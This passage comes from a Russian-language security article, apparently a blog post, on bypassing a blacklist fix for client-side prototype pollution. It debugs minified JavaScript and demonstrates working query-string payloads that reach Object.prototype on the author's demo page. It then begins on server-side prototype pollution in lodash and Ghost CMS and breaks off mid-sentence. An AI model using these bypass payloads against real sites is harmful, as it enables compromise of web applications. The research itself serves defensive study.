href=\"https:\/\/ru.wikipedia.org\/wiki\/%D0%9C%D0%B8%D0%BD%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)\">\u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c<\/a> \u043a\u043e\u0434\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u0435\u0442 \u0442\u0440\u0443\u0434\u043d\u0435\u0435. \u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <code>&quot;__proto__&quot;<\/code>, <code>&quot;constructor&quot;<\/code> \u0438 <code>&quot;prototype&quot;<\/code>. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432, \u0430 \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041d\u043e \u043f\u043e\u0447\u0435\u043c\u0443 \u0436\u0435 \u0442\u043e\u0433\u0434\u0430 \u043f\u043b\u0430\u0433\u0438\u043d \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c? \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>  <\/p>\n<p>\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u0442\u0440\u0443\u0434\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u0432\u0438\u043c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 <code>h = h[a] = u &lt; p ? h[a] || (l[u + 1] &amp;&amp; isNaN(l[u + 1]) ? {} : []) : o<\/code>. \u0422\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0438\u0436\u0435. \u041f\u043e\u0447\u0435\u043c\u0443 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430 \u043d\u0435\u0439? \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043b\u0430\u0433\u0438\u043d \u0437\u0430\u043c\u0435\u0442\u0438\u043b prototype pollution \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430 \u043d\u0435\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441 \u043d\u0435\u0435 \u043b\u043e\u0433\u0438\u0447\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u0442\u044c. \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gw\/x9\/ke\/gwx9ke6f7zbnbut1aasy1t4ls84.png\"> <em>\u0418\u0449\u0435\u043c \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043a\u0441\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430<\/em><\/p>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: <code>h = {}; a = &quot;__PROTO__&quot;; h = h[a] = ...<\/code>. \u041f\u043e\u0447\u0435\u043c\u0443 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442? \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e <code>__PROTO__<\/code> \u0438 <code>__proto__<\/code> \u044d\u0442\u043e \u0440\u0430\u0437\u043d\u044b\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b. \u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f \u0438\u0434\u0435\u044f \u0431\u044b\u043b\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0432 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0439\u0442\u0438 \u043e\u0431\u0445\u043e\u0434. \u041f\u043e\u0441\u043b\u0435 \u043f\u0430\u0440\u044b \u0447\u0430\u0441\u043e\u0432 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u043e\u043c \u044f \u043f\u043e\u043d\u044f\u043b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0447\u0442\u043e \u043a \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0437 \u0447\u0435\u0440\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 <code>toUpperCase()<\/code>, \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u043d\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435 \u0443\u0432\u0435\u043d\u0447\u0430\u043b\u0438\u0441\u044c \u0443\u0441\u043f\u0435\u0445\u043e\u043c.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u0448\u0438\u0440\u0435, \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0442\u0435\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0435\u0449\u0435 \u043d\u0435 \u0432\u0438\u0434\u0435\u043b. \u0418\u0437 \u0447\u0435\u0433\u043e-\u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0433\u043b\u043e \u043f\u043e\u043c\u043e\u0447\u044c \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c, \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">...           aaa.utils.isArray(i[a]) ? i[a].push(o) : void 0 !== i[a] ? i[a] = [i[a], o] : i[a] = o ...<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>a[0]=31&amp;a[1]=337<\/code> \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0438\u0442\u0441\u044f \u0432 <code>a = [31, 337]<\/code>). \u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c\u0441\u044f \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u0435\u0435, \u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>b=42<\/code>) \u0442\u043e\u0436\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u043e\u0439. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a prototype pollution \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e \u043d\u0430\u0434\u0435\u0436\u0434\u0430 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434!<\/p>\n<p>  <\/p>\n<p>\u042f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043b <a href=\"https:\/\/github.com\/richardgirges\/express-fileupload\/issues\/239\">\u043a\u0435\u0439\u0441<\/a> \u043a\u043e\u0433\u0434\u0430 prototype pollution \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c (\u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a <code>__proto__<\/code>, <code>constructor<\/code>, <code>prototype<\/code>), \u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0431\u043e\u0448\u0435\u043b \u044d\u0442\u043e \u0438 \u0441\u043c\u043e\u0433 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0438\u043f\u0430 <code>toString<\/code>, \u0432 \u0438\u0442\u043e\u0433\u0435 DoS. \u041c\u043e\u0435\u0439 \u043f\u0435\u0440\u0432\u043e\u0439 \u0438\u0434\u0435\u0435\u0439 \u0431\u044b\u043b\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>includes()<\/code>, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u043b <code>false<\/code>. \u041d\u043e \u043f\u043e\u0442\u043e\u043c \u044f \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u044f \u043c\u043e\u0433\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u043e\u043a\u0443, \u0430 \u043a\u043e\u0433\u0434\u0430 <code>includes<\/code> \u044d\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430 \u0438 \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0437\u043e\u0432 <code>()<\/code> \u043d\u0430 \u043d\u0435\u0439, \u0442\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 (<code>includes is not a function<\/code>) \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043b, \u0447\u0442\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u0432 JavaScript \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043d\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; var a = [1, 2, 3] &lt; undefined &gt; a[&quot;0&quot;] &lt; 1<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 \u044d\u0442\u0438\u043c \u0443 \u043c\u0435\u043d\u044f \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0438\u0434\u0435\u044f, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c <code>__proto__<\/code> \u0432 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043c\u0430\u0441\u0441\u0438\u0432\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u044d\u0442\u043e\u043c\u0443 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0434\u0435\u043a\u0441, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u0431\u043e\u0439\u0434\u044f \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a.<\/p>\n<p>  <\/p>\n<p>\u0421\u0442\u0430\u0432\u0438\u043c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 <code>aaa.utils.isArray(i[a]) ...<\/code>. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0439\u043b\u043e\u0434 <code>https:\/\/ctf.nikitastupin.com\/pp\/bypass.html?v=1337<\/code>, \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a, \u0436\u043c\u0435\u043c &quot;Step over next function call&quot;. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f <code>i[a] = o<\/code>, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>i<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; i &lt; {v: &quot;1337&quot;}<\/code><\/pre>\n<p>  <\/p>\n<p>\u0410 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0435\u0441\u043b\u0438 \u0432\u043c\u0435\u0441\u0442\u043e <code>v<\/code> \u0443\u043a\u0430\u0437\u0430\u0442\u044c <code>__proto__<\/code>? \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0439\u043b\u043e\u0434 <code>https:\/\/ctf.nikitastupin.com\/pp\/bypass.html?__proto__=1337<\/code>, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f <code>i[a] = [i[a], o]<\/code> \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>i<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; i &lt; Array {}     __proto__: Array(2)       0: {constructor: \u0192, __defineGetter__: \u0192, __defineSetter__: \u0192, hasOwnProperty: \u0192, __lookupGetter__: \u0192, \u2026}       1: &quot;1337&quot;       length: 2       __proto__: Array(0)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043e\u0443! \u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u0440\u0438\u0447\u0443\u0434\u043b\u0438\u0432\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u043d\u043e \u0441\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432! \u041a\u0430\u043a \u043d\u0430\u043c \u044d\u0442\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442, \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u0435 \u0432\u044b? \u041e\u0442\u0432\u0435\u0442 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u0448\u0430\u0433\u0435 \u043e\u0442 \u043d\u0430\u0441.<\/p>\n<p>  <\/p>\n<p>\u0423\u0431\u0435\u0440\u0435\u043c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0443\u044e \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 <code>h = h[a]<\/code>, \u043d\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0422\u0430\u043a \u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0432 \u043f\u0435\u0439\u043b\u043e\u0434 <code>https:\/\/ctf.nikitastupin.com\/pp\/bypass.html?__proto__=1337&amp;o[k]=leet<\/code>. \u041f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>h[0]<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; h[&quot;0&quot;] === Object.prototype &lt; true &gt; h &lt; Array {}     __proto__: Array(2)       0: {constructor: \u0192, __defineGetter__: \u0192, __defineSetter__: \u0192, hasOwnProperty: \u0192, __lookupGetter__: \u0192, \u2026}       1: &quot;1337&quot;       length: 2       __proto__: Array(0)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0443 \u043d\u0430\u0441 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a <code>Object.prototype<\/code>! \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u043f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e (1) \u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0432 JavaScript \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043d\u044b\u0445 \u0441\u043a\u043e\u0431\u043e\u043a, \u043f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0434\u0435\u043a\u0441 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u043e\u0439, (2) \u0435\u0441\u043b\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0435, \u0442\u043e \u043f\u043e\u0438\u0441\u043a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432. \u0412\u043e\u0442 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c <code>h[&quot;0&quot;]<\/code>, \u0442\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>&quot;0&quot;<\/code>, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 <code>h<\/code>, \u0431\u0435\u0440\u0435\u0442\u0441\u044f \u0438\u0437 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430 <code>h.__proto__<\/code> \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0435\u0433\u043e \u0440\u0430\u0432\u043d\u043e <code>Object.prototype<\/code>.<\/p>\n<p>  <\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u0435\u0441\u043b\u0438 \u043c\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043c <code>o<\/code> \u043d\u0430 <code>0<\/code>, \u0442\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0430 <code>Object.prototype<\/code>? \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0442\u043e\u0447\u043a\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430, \u043f\u0440\u043e\u0431\u0443\u0435\u043c <code>https:\/\/ctf.nikitastupin.com\/pp\/bypass.html?__proto__=1337&amp;0[k]=leet<\/code> \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.prototype.k &lt; &quot;leet&quot;<\/code><\/pre>\n<p>  <\/p>\n<p>\u0414\u0443\u043c\u0430\u044e, \u0432\u044b \u0443\u0436\u0435 \u0432\u0441\u0435 \u043f\u043e\u043d\u044f\u043b\u0438 \u0441\u0430\u043c\u0438.<\/p>\n<p>  <\/p>\n<h1 id=\"prototype-pollution-na-servere\">Prototype pollution \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435<\/h1>\n<p>  <\/p>\n<p>\u0412\u0441\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f <a href=\"https:\/\/youtu.be\/LUsiFV3dsK8\">Olivier Arteau \u2014 Prototype pollution attacks in NodeJS applications<br \/>  <\/a>, <a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\">prototype-pollution-nsec18<\/a>. \u041e\u043b\u0438\u0432\u0435\u0440 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c prototype pollution \u0441\u0440\u0430\u0437\u0443 \u0432 <a href=\"https:\/\/hackerone.com\/holyvier?filter=type%3Apublic&amp;type=user\">\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 npm \u043f\u0430\u043a\u0435\u0442\u0430\u0445<\/a>, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 <a href=\"https:\/\/www.npmjs.com\/package\/lodash\">lodash<\/a> (<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-3721\">CVE-2018-3721<\/a>). \u041f\u0430\u043a\u0435\u0442 lodash \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 JavaScript \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u043d \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 <a href=\"https:\/\/github.com\/TryGhost\/Ghost\">Ghost<\/a> CMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0438\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e, \u0431\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 